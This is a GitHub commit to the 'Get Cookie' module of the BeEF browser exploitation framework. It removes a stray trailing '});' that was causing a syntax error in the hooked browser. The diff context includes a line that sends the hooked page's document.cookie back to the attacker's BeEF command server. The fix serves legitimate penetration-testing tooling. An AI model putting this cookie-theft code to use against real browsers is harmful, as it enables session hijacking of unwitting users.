Update command.js

Remove the trailing });. The Get Cookie-module stopped working for me, but works again after I remove the last line which seems lika a bug to me.
I get an error "Unexpected token }" in the Chrome JavaScript-console of the hooked browser when I invoke the module from the BeeF- UI.
This commit is contained in:
Gustav Boström
2017-03-06 13:37:14 +01:00
committed by GitHub
parent 7e8e22a9c3
commit d58064443a

View File

@@ -11,5 +11,5 @@ try {
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_error()); beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_error());
beef.debug("[Get Cookie] Error"); beef.debug("[Get Cookie] Error");
} }
});